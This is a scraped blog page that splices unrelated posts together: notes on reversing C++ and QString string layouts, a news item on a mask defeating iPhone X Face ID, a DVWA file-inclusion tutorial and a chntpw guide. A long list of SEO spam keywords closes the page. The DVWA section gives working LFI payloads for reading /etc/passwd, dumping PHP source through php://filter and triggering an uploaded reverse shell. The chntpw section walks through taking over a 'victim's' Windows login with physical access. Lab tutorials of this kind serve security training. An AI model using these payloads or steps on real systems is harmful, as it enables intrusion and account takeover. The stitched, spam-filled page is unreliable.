天和樹脂-浙江-上海-南通-http://www.chinaresins.com

AdSense

        

Reversing C++ String And QString

After the rust string overview of its internal substructures, let's see if c++ QString storage is more light, but first we'r going to take a look to the c++ standard string object:



At first sight we can see the allocation and deallocation created by the clang++ compiler, and the DAT_00400d34 is the string.

If we use same algorithm than the rust code but in c++:



We have a different decompilation layout. Note that the Ghidra scans very fast the c++ binaries, and with rust binaries gets crazy for a while.
Locating main is also very simple in a c++ compiled binary, indeed is more  low-level than rust.


The byte array is initialized with a simply move instruction:
        00400c4b 48 b8 68        MOV        RAX,0x6f77206f6c6c6568

And basic_string generates the string, in the case of rust this was carazy endless set of calls, detected by ghidra as a runtime, but nevertheless the basic_string is an external imported function not included on the binary.

(gdb) x/x 0x7fffffffe1d0
0x7fffffffe1d0: 0xffffe1e0            low str ptr
0x7fffffffe1d4: 0x00007fff           hight str ptr
0x7fffffffe1d8: 0x0000000b        sz
0x7fffffffe1dc: 0x00000000
0x7fffffffe1e0: 0x6c6c6568         "hello world"
0x7fffffffe1e4: 0x6f77206f
0x7fffffffe1e8: 0x00646c72
0x7fffffffe1ec: 0x00000000        null terminated
(gdb) x/s 0x7fffffffe1e0
0x7fffffffe1e0: "hello world"

The string is on the stack, and it's very curious to see what happens if there are two followed strings like these:

  auto s = string(cstr);
  string s2 = "test";

Clang puts toguether both stack strings:
[ptr1][sz1][string1][null][string2][null][ptr2][sz2]

C++ QString datatype

Let's see the great and featured QString object defined on qstring.cpp and qstring.h

Some QString methods use the QCharRef class whose definition is below:

class Q_EXPORT QCharRef {     friend class QString;     QString& s;     uint p;
 
 Searching for the properties on the QString class I've realized that one improvement that  rust and golang does is the separation from properties and methods, so in the large QString class the methods are  hidden among the hundreds of methods, but basically the storage is a QStringData *;

After removing the methods of QStringData class definition we have this:

struct Q_EXPORT QStringData : public QShared {
    QChar *unicode;
    char *ascii;
#ifdef Q_OS_MAC9
    uint len;
#else
    uint len : 30;

0 留言

APPLE IPHONE X FACE ID CAN BE HACKED WITH SILICON MASK

Just a week after Apple released its brand new iPhone X on November 3, a team of researchers has claimed to successfully hack Apple's Face ID facial recognition technology with a mask that costs less than $150. They said Apple iPhone x face id can be hacked with silicon mask easily.

apple iPhone x face id hacked
Yes, Apple's "ultra-secure" Face ID security for the iPhone X is not as secure as the company claimed during its launch event in September this year.

"Apple engineering teams have even gone and worked with professional mask makers and makeup artists in Hollywood to protect against these attempts to beat Face ID," Apple's senior VP of worldwide marketing Phil Schiller said about Face ID system during the event.

"These are actual masks used by the engineering team to train the neural network to protect against them in Face ID."

However, the bad news is that researchers from Vietnamese cybersecurity firm Bkav were able to unlock the iPhone X using a mask.

Yes, Bkav researchers have a better option than holding it up to your face while you sleep. Bkav researchers re-created the owner's face through a combination of 3D printed mask, makeup, and 2D images with some "special processing done on the cheeks and around the face, where there are large skin areas" and the nose is created from silicone.

The researchers have also published a proof-of-concept video, showing the brand-new iPhone X first being unlocked using the specially constructed mask, and then using the Bkav researcher's face, in just one go.

"Many people in the world have tried different kinds of masks but all failed. It is because we understand how AI of Face ID works and how to bypass it," an FAQ on the Bkav website said.

"You can try it out with your own iPhone X, the phone shall recognize you even when you cover a half of your face. It means the recognition mechanism is not as strict as you think, Apple seems to rely too much on Face ID's AI. We just need a half face to create the mask. It was even simpler than we ourselves had thought."

Researchers explain that their "proof-of-concept" demo took about five days after they got iPhone X on November 5th. They also said the demo was performed against one of their team member's face without training iPhone X to recognize any components of the mask.

"We used a popular 3D printer. The nose was made by a handmade artist. We use 2D printing for other parts (similar to how we tricked Face Recognition 9 years ago). The skin was also hand-made to trick Apple's AI," the firm said.

The security firm said it cost the company around $150 for parts (which did not include a 3D printer), though it did not specify how many attempts its researchers took them to bypass the security of Apple's Face ID.

It should be noted that creating such a mask to unlock someone's iPhone is a time-consuming process and it is not possible to hack into a random person's iPhone.

However, if you prefer privacy and security over convenience, we highly recommend you to use a passcode instead of fingerprint or Face ID to unlock your phone.

Related posts


0 留言

Learning Web Pentesting With DVWA Part 6: File Inclusion

In this article we are going to go through File Inclusion Vulnerability. Wikipedia defines File Inclusion Vulnerability as: "A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application."
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php 
Since it is loading different pages we can guess that it is loading local pages from the server and executing them. Lets try to get the famous /etc/passwd file found on every linux, to do that we have to find a way to access it via our LFI. We will start with this:
../etc/passwd 
entering the above payload in the page parameter of the URL:
http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd 
we get nothing back which means the page does not exist. Lets try to understand what we are trying to accomplish. We are asking for a file named passwd in a directory named etc which is one directory up from our current working directory. The etc directory lies at the root (/) of a linux file system. We tried to guess that we are in a directory (say www) which also lies at the root of the file system, that's why we tried to go up by one directory and then move to the etc directory which contains the passwd file. Our next guess will be that maybe we are two directories deeper, so we modify our payload to be like this:
../../etc/passwd 
we get nothing back. We continue to modify our payload thinking we are one more directory deeper.
../../../etc/passwd 
no luck again, lets try one more:
../../../../etc/passwd 
nop nothing, we keep on going one directory deeper until we get seven directories deep and our payload becomes:
../../../../../../../etc/passwd 
which returns the contents of passwd file as seen below:
This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
php://filter/convert.base64-encode/resource=index.php 
We will get a base64 encoded string. Lets copy that base64 encoded string in a file and save it as index.php.b64 (name can be anything) and then decode it like this:
cat index.php.b64 | base64 -d > index.php 
We will now be able to read the web application's source code. But you maybe thinking why didn't we simply try to get index.php file without using php filter. The reason is because if we try to get a php file with LFI, the php file will be executed by the php interpreter rather than displayed as a text file. As a workaround we first encode it as base64 which the interpreter won't interpret since it is not php and thus will display the text. Next we will try to get a shell. Before php version 5.2, allow_url_include setting was enabled by default however after version 5.2 it was disabled by default. Since the version of php on which our dvwa app is running on is 5.2+ we cannot use the older methods like input wrapper or RFI to get shell on dvwa unless we change the default settings (which I won't). We will use the file upload functionality to get shell. We will upload a reverse shell using the file upload functionality and then access that uploaded reverse shell via LFI.
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999 
Then using our LFI we will execute the uploaded reverse shell by accessing it using this url:
http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php 
Voila! We have a shell.
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.

References:

  1. FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
  2. php://: https://www.php.net/manual/en/wrappers.php.php
  3. LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
  4. File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
  5. PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php


More info


0 留言

Removing Windows 8/8.1 Password With CHNTPW



[Update] If you want to recover Windows 8/8.1 passwords instead of removing them see this tutorial

So we are back. About a Year ago I wrote a post on how to remove Windows Password using CHNTPW but many readers complained that it was not working on Windows 8. I tried myself on many it worked but once I also got stuck. So I did a little work around. In this tutorial I'm going to show you how to remove Windows 8/8.1 passwords using CHNTPW. Well it's little bit tedious than the older one but believe me it's fun too.


Background:

Let's get started with a little bit background. Windows OSs have a User known as Administrator which is hidden by default. This user is there for security reasons (maybe it's the way around). Most of the users who use Windows are lame, sorry to say that but I'm not talking about you, they don't even know that such an invisible account exists so it is almost everytime without a password. But this Administrator user is a SU (Super User), that means you work wonders once you get access to this account. So our first task will be to make it visible and then we'll access it and using it's power privilages we'll remove password of other accounts (which is not really neccessary cuz you can access any user folder or file using Administrator Account).


Requirements:

1. Physical Access to the Victems computer.
2. A Live Bootable Kali/Backtrack Linux Pendrive or DVD.
    (You can downoad Kali Linux here)


Steps:

1. Plug in the Live Bootable Pendrive/DVD into to victim's computer and then boot from it.

2. After accessing kali linux (I'm using Kali Linux) from victim's computer open a terminal.

3. Now we have to mount the drive on which the victim's OS is loaded. In my case it is sda2. So in order to mount that drive I'll type the command:
mount /dev/sda2 /media/temp



this means that I'm mounting the drive in folder /media/temp if you haven't created a temp folder in /media then you must create one by typing these command:
cd /
mkdir /media/temp

4. After mounting the OS we need to access the SAM file and make visible Administrator account using chntpw. It's so simple lemme show you how.
first we'll navigate to /media/temp/Windows/System32/config:
cd /media/temp/Windows/System32/config

now we display the list of users on our victim's computer:
chntpw SAM -l



You'll see an Administrator User there which is disabled. Now we'll enable that:
chntpw SAM -u Administrator



now type 4 and hit return



press 'y' to save changes to SAM file.



OK voila! the hard part is done.

5. Now restart your Computer and take out your Pendrive/DVD from your computer and boot into windows 8 OS. You should be able to see Administrator User on Logon screen now. If not then look for a backward pointing Arrow besides the user Login Picture. Click on that Arrow and you should see an Administrator User. Click on the Administrator Account and wait for a while until windows 8 sets it up.

6. After a while you get Access to the computer and you can access anything. Enjoy :)

7. What you want to remove the password? I don't think it's a stealth mode idea, is it? OK I'll tell you how to do that but It's not a good hacker way of doing.
Open up the command prompt, simple way to do it is:

Press Ctrl + 'x' and then Press 'a' and if prompted click yes.
After that Enter following commands:

net user
(This command will display all users on computer)

net user "User Name" newPassword 
(This Command will change the Password of User Name user to newPassword).
OK you're done now logout and enter the new password. It will work for sure.

8. If you want to disable the Administrator Account again then type in command prompt:
net user Administrator /active:no

I tried it on Windows 8/8.1 all versions and it works. Guess what it works on all windows OSs.

Hope you enjoyed this tutorial. Don't forget to share it and yes always read the Disclaimer.

Related news


  1. Hacker Tools For Ios
  2. Pentest Tools For Android
  3. Pentest Tools Apk
  4. Hack Rom Tools
  5. New Hacker Tools
  6. Hacker Tools Free Download
  7. Hacker Tools For Ios
  8. Hacker
  9. Hacker Tools Hardware
  10. Hackrf Tools
  11. Hacking Tools For Beginners
  12. How To Install Pentest Tools In Ubuntu
  13. World No 1 Hacker Software
  14. Pentest Tools Linux
  15. Hacking Tools For Windows
  16. Hack Tools Github
  17. Pentest Tools Alternative
  18. Nsa Hack Tools
  19. Pentest Tools For Windows
  20. Pentest Tools Download
  21. Hacker Tools For Ios
  22. Hacking Tools Kit
  23. Pentest Tools Android
  24. Nsa Hack Tools
  25. Pentest Tools Port Scanner
  26. Blackhat Hacker Tools
  27. Hack Tools For Ubuntu
  28. Hacker Tools List
  29. Hacker Search Tools
  30. Hacking Tools For Windows
  31. Pentest Tools Github
  32. Github Hacking Tools
  33. Hacker Tools Online
  34. Hack Tools Download
  35. Hacker Tools Free Download
  36. Hacking Tools For Windows 7
  37. Hacking App
  38. Pentest Tools Online
  39. Hack Apps
  40. Hack Tools Mac
  41. Hacker Tools Free
  42. Pentest Tools For Mac
  43. Hacking Tools Download
  44. Easy Hack Tools
  45. Free Pentest Tools For Windows
  46. Tools For Hacker
  47. Hacking Tools For Games
  48. Usb Pentest Tools
  49. Easy Hack Tools
  50. Hacking Tools Mac
  51. Hacking Tools
  52. Hacking Tools Mac
  53. Pentest Tools List
  54. Hacker Tools For Mac
  55. Hacker Tools Linux
  56. Pentest Tools Website Vulnerability
  57. New Hack Tools
  58. Growth Hacker Tools
  59. Hacker Techniques Tools And Incident Handling
  60. How To Install Pentest Tools In Ubuntu
  61. Pentest Tools Download
  62. Hacking Tools For Beginners
  63. Hack And Tools
  64. Pentest Tools Port Scanner
  65. What Is Hacking Tools
  66. Termux Hacking Tools 2019
  67. Hacking Tools Windows
  68. Pentest Box Tools Download
  69. Hacker Tools Free Download
  70. Pentest Tools Website Vulnerability
  71. Hack Tools Online
  72. Pentest Tools
  73. Hacker Security Tools
  74. Underground Hacker Sites
  75. Hack Tools
  76. Pentest Tools Review
  77. Hack Website Online Tool
  78. Hacker Tools Free Download
  79. How To Make Hacking Tools
  80. Hack Tools 2019
  81. Beginner Hacker Tools
  82. Hack Rom Tools
  83. Pentest Tools Bluekeep
  84. Pentest Tools For Mac
  85. How To Install Pentest Tools In Ubuntu
  86. New Hack Tools
  87. Hack Tools For Pc
  88. Hack Tools Mac
  89. Hacking Tools Kit
  90. Pentest Tools Port Scanner
  91. Pentest Tools Windows
  92. Install Pentest Tools Ubuntu
  93. Hacking Tools Free Download
  94. Hacker Tools For Mac
  95. Pentest Tools Review
  96. Hacking Tools For Windows Free Download
  97. Hacking Tools And Software
  98. Nsa Hack Tools
  99. Hackers Toolbox
  100. Hacking App
  101. Hacker Tools Hardware
  102. Hacking Tools For Pc
  103. Tools 4 Hack
  104. Beginner Hacker Tools
  105. How To Install Pentest Tools In Ubuntu
  106. Hacker Tools Apk Download
  107. Hacker Tools 2020
  108. Hacker Tools Free Download
  109. Hacking Tools For Kali Linux
  110. Hacking Tools 2019
  111. Github Hacking Tools
  112. Hacker Tools Free
  113. Hacker Tools 2020
  114. Pentest Tools
  115. Growth Hacker Tools
  116. Wifi Hacker Tools For Windows
  117. Tools For Hacker
  118. Pentest Tools Bluekeep
  119. Pentest Box Tools Download
  120. Hacks And Tools
  121. Hacker Tools
  122. Hacking App
  123. Hacking Tools 2019
  124. Hack Apps
  125. Hacking Tools Kit
  126. Hacking Tools Online
  127. Hack Tools Online
  128. Hacker Tool Kit
  129. Hacker Tools For Mac
  130. Pentest Tools Tcp Port Scanner
  131. Hacker Tools Github
  132. Pentest Tools Port Scanner
  133. Hacking Tools And Software
  134. Hacker Search Tools
  135. Hack Tools Github
  136. Hacking Tools Free Download
  137. Top Pentest Tools
  138. Pentest Tools Open Source
  139. Pentest Tools List
  140. Termux Hacking Tools 2019
  141. Hacker Tools Free Download
  142. Pentest Reporting Tools
  143. Hacker Tools Mac
  144. Hack And Tools
  145. Pentest Automation Tools
  146. Hacker Security Tools
  147. Easy Hack Tools
  148. Hacking Tools Kit
  149. Pentest Tools Alternative
  150. Hacking Tools For Mac
  151. Hacking Tools Mac
  152. Hacker Tools Software
  153. Hacker Tools For Mac
  154. Pentest Tools Free
  155. Hacker Hardware Tools
  156. Pentest Tools Url Fuzzer
  157. Tools Used For Hacking
  158. Hack And Tools
  159. Hack Tool Apk No Root
  160. Hacker Search Tools
  161. Game Hacking

0 留言